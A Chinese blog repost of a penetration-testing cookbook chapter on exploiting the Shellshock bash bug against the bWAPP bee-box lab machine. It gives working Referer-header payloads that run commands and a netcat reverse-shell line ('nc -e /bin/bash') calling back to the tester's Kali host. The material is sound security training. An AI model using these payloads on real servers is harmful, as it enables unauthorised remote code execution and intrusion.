前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

Kali Linux Web渗透测试手册(第二版) - 7.2 - 通过利用Shellshock执行命令

作者头像
Power7089
发布2019-07-25 13:06:18
7720
发布2019-07-25 13:06:18
举报

标记红色的部分为今日更新内容。

7.0、介绍

7.1、使用Exploit-DB利用Heartbleed漏洞

7.2、通过利用Shellshock执行命令

7.3、利用metasploit创建并反弹shell

7.4、Linux上的权限提升

7.5、Windows提权

7.6、使用Tomcat管理界面执行代码

7.7、通过John the Ripper使用字典来破解密码哈希值

7.8、使用Hashcat暴力破解密码哈希


7.2、通过利用Shellshock执行命令

Shellshock(也叫Bashdoor)是2014年9月在bash shell中发现的一个bug,它允许通过存储在环境变量值中的函数执行命令。

作为web渗透测试人员,Shellshock与我们相关,因为如果这些脚本使用系统环境变量,开发人员有时会在PHP和CGI脚本中调用系统命令(在CGI脚本中更为常见。)

在此小节中,我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。

实战演练

通过HTTP (http://192.168.56.12/bWAPP/)浏览到bee-box,并登录开始这个练习:

1. 在下拉框中,选择Shellshock漏洞(CGI),点击Hack:

在文本中,我们可以看到一些有趣的东西:当前用户:www-data。这可能意味着页面正在使用系统调用来获取用户名。这也给了我们一个攻击推荐人的暗示。

2. 幕后发生了什么,使用Burp Suite记录请求并重新加载页面。让我们看看代理的历史:

我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。

3. 我们关注这个提示,并尝试攻击shellshock.sh。我们首先需要配置BurpSuite来拦截服务器响应。转到“代理”选项卡中的“选项”,并根选中带有文本拦截响应的复选框。

4. 现在,设置BurpSuite拦截并重新加载shellshock.php。

5. 在Burp Suite中,单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。然后,将referer替换为(){:;};echo“Vulnerable:”如下截图所示:

6. 再次单击Forward,并再次在请求。然后我们需要从shellshock.sh中获取响应。如下面的截图所示:

响应现在有一个新的标题参数称为Vulnerable。这是因为它将echo命令的输出集成到我们提交的HTML标头中,现在我们可以进一步执行更有趣的命令。

7. 现在,尝试(){:;};"Vulnerable:" $(/bin/sh-c "/sbin/ifconfig")命令。如结果所示,命令的结果包含在响应头中:

8. 在渗透测试中,能够在服务器上远程执行命令是一个巨大的优势,下一个自然步骤是获得远程shell,这意味着我们可以通过直接连接发送更详细的命令。在Kali Linux中打开一个终端,用下面的命令建立监听网络端口:nc -vlp12345。

9. 现在转到Burp Suite代理的历史记录,选择对shellshock.sh的任何请求。右键单击它,并将其发送到中repeater。

10. 进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc -e/bin/bash 192.168.56.10 12345")。在本例中,192.168.56.10是我们Kali机器的地址。

11. 单击Go。我们检查我们的终端,可以看到连接已经建立;发出一些命令来检查我们是否有远程shell:

原理剖析

在前五个步骤中,我们发现对shell脚本有一个调用,并且,由于它应该由shell解释器运行,可能是bash或bash的一个有漏洞版本。为了验证这一点,我们执行了以下测试:

() { :;}; echo "Vulnerable:"

第一部分,(){:;};,是一个空函数定义,因为bash可以将函数存储为环境变量,这是漏洞的核心,因为解释器在函数结束后会继续解释(和执行)命令。这允许我们发布第二部分,echo“Vulnerable:”,这个命令会简单地返回我们输入。

该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。一旦我们知道服务器是脆弱的,我们就会发出一个测试命令ifconfig,并设置一个反向shell。

反向shell是一个远程shell,它由服务器发起,以便客户机侦听连接,而不是像在绑定连接中那样等待客户机连接的服务器。

一旦我们有了服务器的shell,我们就需要提权并获取帮助继续进行渗透测试所需的信息。

更多资料

Shellshock漏洞在全世界范围内影响了大量的服务器和设备,有多种方法可以利用它。命令执行的例子有很多,例如,我们将移动设备连接到LAN ,Metasploit Framework包含一个模块,用于设置DHCP服务器,以便将命令注入到连接到它的客户机上;这在网络渗透测试中非常有用 (https://www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env)。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档